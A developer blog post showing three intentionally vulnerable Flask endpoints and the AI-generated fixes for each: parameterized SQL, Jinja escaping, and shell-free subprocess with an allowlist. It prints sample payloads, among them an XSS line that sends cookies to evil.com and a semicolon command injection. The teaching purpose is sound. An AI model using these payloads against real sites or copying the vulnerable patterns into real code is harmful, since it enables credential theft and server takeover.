This is an idea that I've had for some time, and never had the chance to complete. But, It's 2026 and I still see examples and some production code that concatenates user input straight into SQL queries. No parameterization. No escaping. Just vibes and prayers.
I decided to take three of the most common injection vulnerabilities, right from the textbook: SQL injection, cross-site scripting, and command injection, then write the worst possible version of each in Python (pun intended), and then ask Kiro to fix them. Here's what happened, in my own experience.
The Setup
I built three small Flask endpoints. Each one does something useful: search users, post comments, ping a host. Each one is dangerously vulnerable. The goal: paste the vulnerable code into Kiro and ask it to generate a secure version. No hand-holding, no deep dive about what's wrong. Just "fix this..."
All examples use Python 3 + Flask. You can follow along with any text editor, but the screenshots below are from Kiro.
1. SQL Injection: The Classic
Here's a user search endpoint. Can you Spot the problem?
@app.route("/search")
def search_users():
username = request.args.get("username", "")
conn = get_db()
query = "SELECT * FROM users WHERE username = '" + username + "'"
results = conn.execute(query).fetchall()
conn.close()
return jsonify([dict(row) for row in results])
That + operator is doing a lot of damage. An attacker can send:
/search?username=' OR '1'='1
And suddenly the query becomes SELECT * FROM users WHERE username = '' OR '1'='1' which returns every user in the database. Credentials, emails, roles. ALL of it.
Visual Example of the vulnerability:
What Kiro Did
I pasted the vulnerable code into Kiro and asked: "This Flask endpoint is vulnerable to SQL injection. Can you fix it and explain why?"
Kiro immediately identified the string concatenation as the vulnerability and generated this:
@app.route("/search")
def search_users():
username = request.args.get("username", "")
if not username or len(username) > 100:
return jsonify({"error": "Invalid username"}), 400
conn = get_db()
query = "SELECT * FROM users WHERE username = ?"
results = conn.execute(query, (username,)).fetchall()
conn.close()
return jsonify([dict(row) for row in results])
What changed and why it matters:
-
Parameterized query (
?placeholder) — the database treats the input as data, never as SQL code. This is the single most effective defense against SQL injection. - Input validation — length check and empty check reject obviously bad input before it reaches the database.
- The attacker's
' OR '1'='1payload now gets treated as a literal string to search for. No match, no data leak.
Visual Example after the Fix:
This wraps up the first example. Not bad to start, right?
Let's move on, we have more!
2. Cross-Site Scripting (XSS): The Silent One
Here's a comment board that renders user input as HTML:
@app.route("/", methods=["GET", "POST"])
def comment_board():
if request.method == "POST":
name = request.form.get("name", "")
comment = request.form.get("comment", "")
comments.append({"name": name, "comment": comment})
html = "<h1>Comment Board</h1>"
for c in comments:
html += f"<p><b>{c['name']}</b>: {c['comment']}</p>"
return html
An attacker posts a comment with this as their name:
<img src=x onerror="document.location='http://evil.com/?c='+document.cookie">
After click on "post..."
And then... Redirect stealing the cookie!
The browser tries to load a non-existent image, fails, and fires the onerror handler, which redirects every visitor to the attacker's server with their session cookies. This is stored XSS, the payload persists in the application and hits every user who views the page. Attackers use event handlers like onerror because browsers block inline <script> tags injected via HTML, but they can't block event attributes the same way.
What Kiro Did
I asked Kiro: "This comment board has a stored XSS vulnerability. Generate a secure version."
Kiro rewrote the endpoint to use Jinja2 templates with auto-escaping:
from flask import Flask, request, render_template_string
from markupsafe import escape
TEMPLATE = """
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Comment Board</title></head>
<body>
<h1>Comment Board</h1>
<form method="POST">
<input name="name" placeholder="Your name" maxlength="50"><br>
<textarea name="comment" placeholder="Your comment" maxlength="500"></textarea><br>
<button type="submit">Post</button>
</form>
<hr>
{% for c in comments %}
<p><b>{{ c.name }}</b>: {{ c.comment }}</p>
{% endfor %}
</body>
</html>
"""
@app.route("/", methods=["GET", "POST"])
def comment_board():
if request.method == "POST":
name = request.form.get("name", "")
comment = request.form.get("comment", "")
comments.append({"name": escape(name), "comment": escape(comment)})
return render_template_string(TEMPLATE, comments=comments)
What changed and why it matters:
-
Output escaping —
escape()converts<script>into<script>, which renders as harmless text instead of executable code. -
Jinja2 auto-escaping — the
{{ }}template syntax escapes output by default. Double protection. -
Input length limits —
maxlengthon the form fields and server-side validation reduce the attack surface. - The attacker's script tag now displays as literal text on the page. No execution, no cookie theft.
That's 2 out of 3. We're in a roll, so let's get to the last example for today:
3. Command Injection: The Dangerous One
Here's a network diagnostic endpoint:
@app.route("/ping")
def ping_host():
host = request.args.get("host", "")
result = os.popen(f"ping -c 2 {host}").read()
return f"<pre>{result}</pre>"
An attacker sends:
/ping?host=google.com;whoami
And shows like this:

(Username section intentionally removed, hehe.)
The shell interprets the semicolon as a command separator. It pings google.com, then runs the command and returns the contents. Chain a few more commands and the attacker owns your server!
What Kiro Did
I asked: "This ping endpoint has a command injection vulnerability. Make it safe."
import subprocess
import re
HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9._-]+$')
@app.route("/ping")
def ping_host():
host = request.args.get("host", "")
if not host or not HOSTNAME_PATTERN.match(host):
return jsonify({"error": "Invalid hostname"}), 400
try:
result = subprocess.run(
["ping", "-c", "2", host],
capture_output=True,
text=True,
timeout=10
)
return f"<pre>{result.stdout}</pre>"
except subprocess.TimeoutExpired:
return jsonify({"error": "Request timed out"}), 504
What changed and why it matters:
-
No shell —
subprocess.run()with a list argument never invokes a shell. The semicolon trick doesn't work because there's no shell to interpret it. - Input allowlisting — the regex only permits valid hostname characters. Semicolons, pipes, backticks — all rejected before they reach any system call.
- Timeout — prevents an attacker from hanging your server with a slow target.
- The attacker's
google.com;whoamigets rejected by the regex. Even if it somehow got through,subprocess.runwith a list would try to ping the literal stringgoogle.com;whoami— which isn't a valid hostname.
The Pattern
Across all three vulnerabilities, Kiro applied the same defensive layers:
- Validate input — reject anything that doesn't match expected patterns
- Use safe APIs — parameterized queries, template engines, subprocess without shell
- Limit scope — length limits, timeouts, allowlists over blocklists
These aren't exotic techniques. They're fundamentals. But they're also the things that get skipped when you're moving fast. That's exactly where Kiro helps; it generates the secure version by default, so you don't have to remember every OWASP rule while you're in flow.
Now, Try It Yourself!
Grab the vulnerable examples from this post, open them in Kiro, and ask it to fix them. You might be surprised how much it catches; and how much faster you ship secure code when your IDE has your back.








Top comments (0)